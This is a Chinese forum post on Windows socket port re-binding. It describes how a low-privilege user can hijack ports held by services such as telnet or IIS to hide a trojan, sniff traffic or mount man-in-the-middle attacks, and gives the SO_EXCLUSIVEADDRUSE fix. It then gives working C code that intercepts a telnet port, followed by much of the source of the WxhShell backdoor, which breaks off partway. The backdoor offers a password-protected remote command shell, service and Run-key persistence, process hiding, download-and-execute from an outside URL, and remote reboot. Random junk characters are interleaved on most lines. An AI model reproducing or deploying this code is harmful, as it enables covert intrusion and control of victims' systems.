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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n"D ?I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c j$6  
kxB.,'  
  saddr.sin_family = AF_INET; n.}T1q|l  
gAbD7SE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ROb\Rx m  
AC- )BM';  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $jzFc!rs  
dJk9@u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ml!5:r>  
$lwz-^1t.  
  这意味着什么?意味着可以进行如下的攻击: l.=p8-/$'7  
^QX bJJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 42C<1@>zO  
8p^B hd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vGd1w%J-  
*%FA:Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %&<LNEiUN  
b1?xeG#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m_NCx]#e   
r%]Qlt ~K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 chI.{Rj  
KLWDo%%u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X[$++p .  
P ,mN >  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sy5 Fn~\R  
4@  3[  
  #include 1R%1h9I4'  
  #include 19e8  
  #include }FqA ppr  
  #include    ){;02^tX  
  DWORD WINAPI ClientThread(LPVOID lpParam);    ZI>km?w  
  int main() L@Nu/(pB=  
  { W8WXY_yJt  
  WORD wVersionRequested; $% k1fa C  
  DWORD ret; aptY6lGv-|  
  WSADATA wsaData; #/S {6c  
  BOOL val; ^%T7.1'x  
  SOCKADDR_IN saddr; e&<yX  
  SOCKADDR_IN scaddr; \_6OCVil  
  int err; 9"{W,'r&d  
  SOCKET s; ._Zt=jB  
  SOCKET sc; X@2-*so<  
  int caddsize; /B3R1kNf|  
  HANDLE mt; >h~IfZU1  
  DWORD tid;   J4$! 68  
  wVersionRequested = MAKEWORD( 2, 2 ); <cN~jv-w$  
  err = WSAStartup( wVersionRequested, &wsaData ); <[ Xw)/#  
  if ( err != 0 ) { CB\{!  
  printf("error!WSAStartup failed!\n"); %r{3wH# D@  
  return -1; iI1n2>V3y  
  } =qVP]  9  
  saddr.sin_family = AF_INET; uzOYVN$t  
   _u0$,Y?&|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9=l.T/?sf  
dtStTT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n||A" @b\  
  saddr.sin_port = htons(23); eU+ {*YJg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UPU+ver  
  { ;F:fM!l=  
  printf("error!socket failed!\n"); d50Vtm\  
  return -1; t0&@h\K  
  } Z3KO90O!8  
  val = TRUE; l~:v (R5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9' 1B/{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3Mjj' 5KH!  
  { AEirj /  
  printf("error!setsockopt failed!\n"); gO?44^hMe  
  return -1; q Dd~2"er  
  } ^?"\?M1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M5L{*>4|6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 < E|s\u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]:]H:U]p  
Oft arD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4p`XG1Pt  
  { >T3H qYX5W  
  ret=GetLastError(); rt7<Q47QE  
  printf("error!bind failed!\n"); B/f0P(7  
  return -1; G#`\(NW  
  } 'Ye v} QM  
  listen(s,2); fG LG$b  
  while(1) 0*%&>  
  { ]DG?R68DQ  
  caddsize = sizeof(scaddr); .Ce8L&cU  
  //接受连接请求 |[xi/Q^7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ] f>]n  
  if(sc!=INVALID_SOCKET) Wl"0m1G  
  { 8ovM\9qT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K/_9f'^  
  if(mt==NULL) eJ8]g49mD6  
  { ?9MVM~$  
  printf("Thread Creat Failed!\n"); oP?YA-#nc  
  break; P'Q$d+F,  
  } mABe'"8  
  } ^H'a4G3  
  CloseHandle(mt); Tpp&  
  } U]~^ZR  
  closesocket(s); GyI-)Bl DC  
  WSACleanup(); Gi6T["  
  return 0; SjEAuRDvUz  
  }   !<@J6??a}s  
  DWORD WINAPI ClientThread(LPVOID lpParam) h&@R| N  
  { :c[n\)U[aa  
  SOCKET ss = (SOCKET)lpParam; {U!St@  
  SOCKET sc; WP **a Bp  
  unsigned char buf[4096]; =nUW'  
  SOCKADDR_IN saddr; ,3DXFV'uxb  
  long num; !G5a*8]  
  DWORD val; O%!5<8Xrb  
  DWORD ret; nxm$}!Df  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kdx y\ jA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   " K*  
  saddr.sin_family = AF_INET; .3pbuU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nQK|n^AU/  
  saddr.sin_port = htons(23); >XW*T5aUA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C_:k8?  
  { %i0?UpA  
  printf("error!socket failed!\n"); ,"}Rg1\4t  
  return -1; VzS&`d.h  
  } G28O%jD?  
  val = 100; ~q0*"\Ff  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :7N3N  
  { tCF&OOI4`  
  ret = GetLastError(); 8t"~Om5sG  
  return -1; bEuaOBc  
  } i=FQGWAUu  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <msxHw  
  { bBxw#_3A?E  
  ret = GetLastError(); p^m5`{1]x  
  return -1; 7Ob*Yv=[  
  } eHg3}b2r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %Tn#-  
  { ;+"f  
  printf("error!socket connect failed!\n"); Jc4L5*Xn/  
  closesocket(sc); mZk0@C&:6  
  closesocket(ss); ER&UBUu"  
  return -1; )4Q?aMm  
  } Ac k}QzXO  
  while(1) q]& .#&h  
  { U$&hZ_A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DmqX"x%P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G)=HB7u[a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8 }'|]JK  
  num = recv(ss,buf,4096,0); Nf,Z;5e  
  if(num>0) VU|dV\>  
  send(sc,buf,num,0); I XA>`D  
  else if(num==0) ;a"q'5+Ne  
  break; )(Iy<Y?#  
  num = recv(sc,buf,4096,0); [^H"FA[  
  if(num>0) FXKF\1`( H  
  send(ss,buf,num,0); a.F Al@Br  
  else if(num==0) $e%2t^ i.g  
  break; lw%?z/HDf  
  } Z~G my7h(  
  closesocket(ss); 1nj(h g  
  closesocket(sc); {kI#A?M  
  return 0 ; OqhD7 +  
  } nHFrG =o,  
n ?[/ufl  
I lR\  #  
========================================================== *2 "6fX[  
_=6 rE  
下边附上一个代码,,WXhSHELL D?jk$^p~m#  
oj.A,Fh  
========================================================== c2l_$p  
`\>.h  
#include "stdafx.h" "kMzmo=Pv5  
&tR(n$ M@>  
#include <stdio.h> |rRO@18dA  
#include <string.h> <c[U#KrvJ  
#include <windows.h> u?ek|%Ok  
#include <winsock2.h> 5}ie]/[|  
#include <winsvc.h> ~Z/ ^c,[:  
#include <urlmon.h> ;Z[]{SQ  
rf+:=|/_3  
#pragma comment (lib, "Ws2_32.lib") 4S0>-?{  
#pragma comment (lib, "urlmon.lib") }n,Zl>T9  
`i~ Y Fr  
#define MAX_USER   100 // 最大客户端连接数 fpyz'   
#define BUF_SOCK   200 // sock buffer Fh7'[>onw  
#define KEY_BUFF   255 // 输入 buffer =]R3& ]#n  
I&9S;I$  
#define REBOOT     0   // 重启 ^(}585b  
#define SHUTDOWN   1   // 关机 | aQ"3d  
` >!n  
#define DEF_PORT   5000 // 监听端口 3q[WHwmm  
v ]Sl<%ry  
#define REG_LEN     16   // 注册表键长度 %WG9 dYdS  
#define SVC_LEN     80   // NT服务名长度 bSwWszd~  
yj6@7@l>A  
// 从dll定义API tqPx$s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^62|d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V+-$ jOh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h~U02"$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x Ha=3n  
nq} Q  
// wxhshell配置信息 8 S`9dSc  
struct WSCFG { jt~Qu-  
  int ws_port;         // 监听端口 ER2GjZa\z  
  char ws_passstr[REG_LEN]; // 口令 <<9Va.  
  int ws_autoins;       // 安装标记, 1=yes 0=no m^%|ZTrwN7  
  char ws_regname[REG_LEN]; // 注册表键名 F-(dRSDNM  
  char ws_svcname[REG_LEN]; // 服务名 ,[p T4G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x)rlyjFM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kpwt]]e*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \ A1uhHP!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G |*(8r()  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M x5`yT7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y-piL8Xc  
MJ<Jb,D1  
}; 7x]4`#u  
V=I"-k}RL  
// default Wxhshell configuration X C86-b)E  
struct WSCFG wscfg={DEF_PORT, IJOvnZ("A  
    "xuhuanlingzhe", `"yxdlXA  
    1, ?q`0ZuAg\<  
    "Wxhshell", ukgAI<O%  
    "Wxhshell", =+5,B\~q@C  
            "WxhShell Service", }g +;y  
    "Wrsky Windows CmdShell Service", A % Q!^d  
    "Please Input Your Password: ", F+UG'4%  
  1, 2 gq$C"  
  "http://www.wrsky.com/wxhshell.exe", v1U?&C  
  "Wxhshell.exe" uaw~r2  
    }; )'4P.>!!aQ  
%Kh4m7  
// 消息定义模块 {n3EGSP#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <mA'X V,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I-D^>\k+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #BVtL :x@  
char *msg_ws_ext="\n\rExit."; bokr,I3  
char *msg_ws_end="\n\rQuit."; 2O- 4x  
char *msg_ws_boot="\n\rReboot..."; -hq^';,  
char *msg_ws_poff="\n\rShutdown..."; N)PkE>%X  
char *msg_ws_down="\n\rSave to "; ^\[c][fo  
putRc??o;  
char *msg_ws_err="\n\rErr!"; iRx`Nx<@  
char *msg_ws_ok="\n\rOK!"; qMoo#UX  
hAs ReZ?  
char ExeFile[MAX_PATH]; x3sX=jIW_  
int nUser = 0; x4h.WDT$  
HANDLE handles[MAX_USER]; V5p^]To!  
int OsIsNt; abv*X 1  
9m)gp19YA  
SERVICE_STATUS       serviceStatus; *U}-Y*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &3J^z7kU  
t/_\w"  
// 函数声明 !p76I=H%  
int Install(void); Q}cti /  
int Uninstall(void); (BngwLVDK  
int DownloadFile(char *sURL, SOCKET wsh); E;9J7Q 4  
int Boot(int flag); fP6\Ur  
void HideProc(void); /r2S1"(q  
int GetOsVer(void); (5CgC <  
int Wxhshell(SOCKET wsl); w`D$W&3>  
void TalkWithClient(void *cs); mnBTZ/ZjS  
int CmdShell(SOCKET sock); ]O{i?tyX  
int StartFromService(void); U#bmMH  
int StartWxhshell(LPSTR lpCmdLine); `%^w-'  
;<mcvm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A,xPA  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  NEPK   
R4T@ ]l&W  
// 数据结构和表定义 fUfd5W1"  
SERVICE_TABLE_ENTRY DispatchTable[] = ]Yf^O @<<>  
{ gK(G1  
{wscfg.ws_svcname, NTServiceMain}, }p-/R'  
{NULL, NULL} t: oQHhO?  
}; 8'_MCx(  
gs7_Q  
// 自我安装 P;K LN9/4  
int Install(void) Kv9FqrDj  
{ ]N;n q  
  char svExeFile[MAX_PATH]; 23Dld+E&  
  HKEY key; .t8hTlV?<B  
  strcpy(svExeFile,ExeFile); c5uC?b].  
4P=1)t?tX  
// 如果是win9x系统,修改注册表设为自启动 Ke3~o"IQ  
if(!OsIsNt) { o3eaNYa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cui%r!D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z@o6[g/*Q  
  RegCloseKey(key); GN Ewq$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `p1B58deC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Slj U=,  
  RegCloseKey(key); J] w3iYK  
  return 0; YJ-<t6  
    } -QR]BD%J*[  
  } hoM%|,0  
} 'h 7x@[|  
else { 9<iM2(IW{  
tQYV4h\Qj  
// 如果是NT以上系统,安装为系统服务 7E#h(bt j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7'65+c[&  
if (schSCManager!=0) :-<30LS $  
{ c0HPS9N\  
  SC_HANDLE schService = CreateService 8a]g>g  
  ( -q[x"Ha%  
  schSCManager, `sIm&.d  
  wscfg.ws_svcname, akPd#mf  
  wscfg.ws_svcdisp, M(:bM1AD`u  
  SERVICE_ALL_ACCESS, +5I'? _{V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I<,~>'cq.  
  SERVICE_AUTO_START, PC+Soh*  
  SERVICE_ERROR_NORMAL, %Tu(>vnuj  
  svExeFile, DfU= i'R  
  NULL, n @R/zy  
  NULL, f2pA+j5[  
  NULL, 7HY8 F5Brx  
  NULL, S.`hl/  
  NULL b/JjA  
  ); o0F,!}  
  if (schService!=0) i%F2^R@!q/  
  { ZR0 OqSp]  
  CloseServiceHandle(schService); *93=}1gN  
  CloseServiceHandle(schSCManager); n%RaEL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X2;72  
  strcat(svExeFile,wscfg.ws_svcname); yiXb<g+B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7lAJ 0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));   )*6  
  RegCloseKey(key); ^+-]V9?+  
  return 0; {Y=k`t,  
    } n@h$V\&\iM  
  } 6I=xjgwvf  
  CloseServiceHandle(schSCManager); ~;pP@DA  
} /.rj\,  
} T][c^K*  
OC-d5P  
return 1; ^_ V0irv  
} [Mc Hl1a  
-^t.eZ*|  
// 自我卸载 } _];yw  
int Uninstall(void) p\#;(pf}s  
{ 8tf>G(I{  
  HKEY key; {iq^CHAVK  
bA$ElKT  
if(!OsIsNt) { g`C"t3~%S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b"}ya/  
  RegDeleteValue(key,wscfg.ws_regname); &U=_:]/  
  RegCloseKey(key); /NR*<,c%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p[%~d$JUq  
  RegDeleteValue(key,wscfg.ws_regname); a #s Nd  
  RegCloseKey(key); V4CA*FEA  
  return 0;  &z*4Uij  
  } ;9fWxH  
} <nV3`L&]  
} U UtS me  
else { qz Hsqlof  
ygm6(+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ){u# (sW  
if (schSCManager!=0) )' ,dP)b  
{ qPUACuF'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X MF? y  
  if (schService!=0) < 0S\P=\  
  { GMLx$?=j  
  if(DeleteService(schService)!=0) { ^ yF Wvfh4  
  CloseServiceHandle(schService); _U*1D*kLI[  
  CloseServiceHandle(schSCManager); I{H!K rM!  
  return 0; j\Fbi3H  
  } -s le7k  
  CloseServiceHandle(schService); V1G5Kph  
  } (U.VCSn  
  CloseServiceHandle(schSCManager); YY7dw:>e/  
} LFSOHJj  
} $^7 &bQ  
YA^9, q6u?  
return 1; )K2n!Fbd  
} V!KtF  
I{cn ,,8  
// 从指定url下载文件 }qz58]fyx  
int DownloadFile(char *sURL, SOCKET wsh) 5<w0*~Z d~  
{ rS7)6h7(7  
  HRESULT hr; 02=lsV!U  
char seps[]= "/"; 4CrLkr  
char *token; e#S0Fk)z  
char *file; SwW['c'*]B  
char myURL[MAX_PATH]; xr%#dVk  
char myFILE[MAX_PATH]; Zsx3/}  
!5Sd2<N  
strcpy(myURL,sURL); fuMJdAuY7d  
  token=strtok(myURL,seps); E\U`2{^.  
  while(token!=NULL) Ef)yQ  
  { oM1Qh?  
    file=token; \r {W  
  token=strtok(NULL,seps); 4vWkT8HQ  
  } k[kju%i4  
!.TLW  
GetCurrentDirectory(MAX_PATH,myFILE); Ig6T g ?  
strcat(myFILE, "\\"); }4//@J?:  
strcat(myFILE, file); ~xLJe`"JUx  
  send(wsh,myFILE,strlen(myFILE),0); F?-R$<Cn2~  
send(wsh,"...",3,0); 7.g [SBUOG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {Ui =b+  
  if(hr==S_OK) _O"mfXl6  
return 0; `bjizS'^  
else bm% $86  
return 1; x[ 3A+  
vVl; |  
} m3<+yz$!r  
Tr0B[QF  
// 系统电源模块 v <Kmq-b  
int Boot(int flag) uxaYCa?  
{ }Gyqq6Aeb  
  HANDLE hToken; JM- t<.  
  TOKEN_PRIVILEGES tkp; ]X Z-o>+ ,  
{gbn/{  
  if(OsIsNt) { }a AH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d;mx<i=/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0%GqCg  
    tkp.PrivilegeCount = 1; Gvt;Q,hH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3/A!_Uc(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fD3jwPL  
if(flag==REBOOT) { 7G<KrKal  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2A@Y&g(6T7  
  return 0; 4~m.#6MT  
} !I~C\$^U  
else { E3FW*UNg[y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lRa 3v Ng  
  return 0; ]Omb :  
} w (vE2Y ?  
  } uFm(R/V  
  else { L5V'Sr  
if(flag==REBOOT) { `uM0,Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0gwm gc/#  
  return 0; |1<]o;:  
} ?[hy|r6$  
else { oPBg+Bh*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~7,2N.vO2  
  return 0; p,[XT`q^  
} ?'ez.a}  
} O$<%z[  
!ho5VA t  
return 1; 3gPD(r1g  
} oqd N5+xt  
{LB }v;?l  
// win9x进程隐藏模块 c5wkzY h  
void HideProc(void) &k_wqV  
{ /]MB6E7&  
IQk#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @o3R`ZgC]\  
  if ( hKernel != NULL ) T$.-{I  
  { wEHAkc)Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |=^#d\?]j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 53,,%Ue  
    FreeLibrary(hKernel); lEYT{  
  } @F3-Ugm  
2 l[A=Z  
return; IioE<wS)  
} #<tWYE  
g~^{-6Vg  
// 获取操作系统版本 /n(bThDH  
int GetOsVer(void) k+q6U[ce  
{ CyK$XDHa  
  OSVERSIONINFO winfo; _/sf@R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?`l=!>C4s  
  GetVersionEx(&winfo); picP_1L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 49J+&G?)j  
  return 1; }N#>q.M  
  else ssr)f8R#,#  
  return 0; z?t(+^  
} Fzld0p9=  
6JFDRsX>)?  
// 客户端句柄模块 ]}l+ !NV<  
int Wxhshell(SOCKET wsl) "<.  
{ Rvz.ym:F  
  SOCKET wsh; @Z=|$*9  
  struct sockaddr_in client; }DUDA%U  
  DWORD myID; H;t8(-F@'  
*liPJ29C[  
  while(nUser<MAX_USER) CF}Nom)  
{ d Xo'#.  
  int nSize=sizeof(client); H+#wj|,+\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0rm;)[SjF  
  if(wsh==INVALID_SOCKET) return 1; k>0cTBY&  
+|"n4iZ!)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @`y?\fWh  
if(handles[nUser]==0) >ya-  
  closesocket(wsh); '3u]-GU2_  
else &9lc\Y4PY  
  nUser++; !VJa$>,  
  } {O&liU4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +#JhhW Zj(  
sBXk$  
  return 0; U)/Ul>dY  
} vS t=Ax3]  
13&>w{S}  
// 关闭 socket +heS\I_Mp  
void CloseIt(SOCKET wsh) 9MzkG87J  
{ :XQ  
closesocket(wsh); <:{[Zvl'k  
nUser--; XsN#<"f;i  
ExitThread(0); 6BnjT  
} .B*)A.   
BJ5#!I%h  
// 客户端请求句柄 Fh'Jb*|Q  
void TalkWithClient(void *cs) hGeRM4zVZZ  
{ rgCId@R  
ra1hdf0"  
  SOCKET wsh=(SOCKET)cs; NO1PGen  
  char pwd[SVC_LEN]; .\ZxwD|  
  char cmd[KEY_BUFF]; jX%Q  
char chr[1]; 6FE[snw  
int i,j; y~fy0P:T  
e_I 8Jj4  
  while (nUser < MAX_USER) { Sa0\9 3oa  
sIpK@BQ'  
if(wscfg.ws_passstr) { :vjbuqN]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `xSXGI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `W9_LROD  
  //ZeroMemory(pwd,KEY_BUFF); uD"Voh|]=  
      i=0; rZEu@63  
  while(i<SVC_LEN) { 19S,>  
\3l;PY  
  // 设置超时 3-05y!vbcE  
  fd_set FdRead; [,dsV d  
  struct timeval TimeOut; ?2M15Q  
  FD_ZERO(&FdRead); ]WG\+1x9  
  FD_SET(wsh,&FdRead); eXYR/j<8  
  TimeOut.tv_sec=8; G9 !1Wzs  
  TimeOut.tv_usec=0; Wg[`H=)Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,oC r6 ]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VioVtP0  
\h-[u%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [;(| ^0  
  pwd=chr[0]; Y9WH%  
  if(chr[0]==0xd || chr[0]==0xa) { =<g\B?s]  
  pwd=0; +#W5Qb}VR  
  break; pO^ 6p%  
  } 4&\m!s  
  i++; ,FTF@h-Cs  
    } T<OLfuV  
_]\mh,}  
  // 如果是非法用户,关闭 socket 4avM:h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "x{S3v4Rb5  
} qAm%h\  
Gqs8$[o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8S0)_L#S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ' o 5,P/6  
!} 1p:@  
while(1) { ISl'g'o  
pY2nv/  
  ZeroMemory(cmd,KEY_BUFF); D@2Tx  
Z#F2<*+Pe  
      // 自动支持客户端 telnet标准   h\1_$ac  
  j=0; A%9"7]:   
  while(j<KEY_BUFF) { AIE)q]'Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P"- ,^?6  
  cmd[j]=chr[0]; Q>.-u6(&  
  if(chr[0]==0xa || chr[0]==0xd) { P6X 4m(t  
  cmd[j]=0; -X |G  
  break; k -SUp8}g  
  } `0sa94H1[  
  j++; 4Ld0AApncy  
    } ,3^N_>d$W  
?J>^X-z  
  // 下载文件 kJ~^  }o  
  if(strstr(cmd,"http://")) { !D1F4v[c=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;1BbRnCr  
  if(DownloadFile(cmd,wsh)) VQX#P<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2lGq6Au:  
  else 3i7n"8\$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n&@\[,B  
  } GwpJxiFgk  
  else { Q tRKmry{  
LaLA }1!  
    switch(cmd[0]) { {dA#r>z\1  
  u%&zY97/  
  // 帮助 Xh){W~ -  
  case '?': { BM:je(*p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x5{ zGv.j  
    break; [*,`a]z-Q  
  } yaeX-'(Fv[  
  // 安装 e\/Lcng  
  case 'i': { wJ+"JQY.J+  
    if(Install()) @ij}|k%*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w2Pkw'a{  
    else ]F-{)j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [_${N,1  
    break; Dtelr=/s  
    } xAsbP$J:  
  // 卸载 Nmp1[/{J  
  case 'r': { 2c}>} A4  
    if(Uninstall()) AWGeK-^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -p9|l%W  
    else :)bm+xWFF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kIM* K%L}  
    break; 9QZ;F4 r  
    } 'kPShZS$b  
  // 显示 wxhshell 所在路径 7+@:wX\  
  case 'p': { Haiuf)a  
    char svExeFile[MAX_PATH]; 7LKNEll  
    strcpy(svExeFile,"\n\r"); *YYm;J'  
      strcat(svExeFile,ExeFile); h@/c76}f6p  
        send(wsh,svExeFile,strlen(svExeFile),0); N3i}>Q)B  
    break; Hb IRE  
    } KI#),~n S  
  // 重启 6wfCC,2  
  case 'b': { t<x0?vfD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W~FcU+a  
    if(Boot(REBOOT)) ,M5J~Ga  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r0}Z&>]66N  
    else { G^5}T>TV  
    closesocket(wsh); <Sb W QbN  
    ExitThread(0); z`5d,M  
    } \Ua"gS2L  
    break; ^HQg$}=  
    } b$H{|[  
  // 关机 Sr/"'w;  
